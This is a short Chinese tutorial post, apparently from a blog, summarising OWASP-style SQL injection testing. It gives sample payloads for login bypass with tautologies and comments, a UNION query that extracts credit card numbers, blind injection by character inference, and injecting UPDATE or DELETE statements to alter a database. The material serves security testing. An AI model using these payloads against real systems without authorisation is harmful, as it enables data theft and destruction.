渗透测试_SQL注入


1、SQL注入检测
    (1)测试者需要列出进行SQL查询的输入字段清单,包括POST请求隐藏字段。然后对他们进行逐一测试,尝试使用查询对其进行干涉并产生错误。
    (2)通常给测试的字段增加一个单引号(')或一个分号(;)。单引号是用在SQL中作为一个字符串终止符。如果应用程序没有将其过滤,它将导致不正确的查询。分号是用于终止SQL 语句。如果没有将其过滤,它同样可以产生错误。
    
2、常规SQL注入测试
    (1)对于查询语句SELECT * FROM Users WHERE Username='$username' AND Password='$password',使用
        $username = 1' or '1' = '1
        $password = 1' or '1' = '1
    (2)对于如下查询:SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))),使用
        $username = 1' or '1' = '1'))/*
        $password = foo
    
3、union查询
    对于查询语句SELECT Name, Phone, Address FROM Users WHERE Id=$id,设置id:$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable。
    这将和所有信用卡用户一起加入原始查询结果中。绕开使用DISTINCT关键词的查询必须使用关键字ALL。为了避免语法错误,union查询跟前面的查询必须有同等数目的参数。
    
4、SQL盲注
    (1)确定查询正确和错误的响应页面(错误查询:SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2')
    (2)依次推理查询(SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1')
    (3)直到出现ASCII码0比较返回true时,执行查询:SELECT field1, field2, field3 FROM Users WHERE Id='name' AND LENGTH(username)=N AND '1' = '1'(其中name是之前推理出来的字符串),如果返回true,则查询完成;否则说明要查询的字符串中含有空字符,继续推出,直到下一个空字符。
    
5、存储过程注入
    (1)如果处理不当,在存储程序中的动态SQL可以和网页中的动态SQL 一样容易受到攻击。
    (2)如果不能绕过登录或者返回查询结果,可以考虑注入update、delete等操作来修改数据库。
    

参考:OWASP测试指南



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值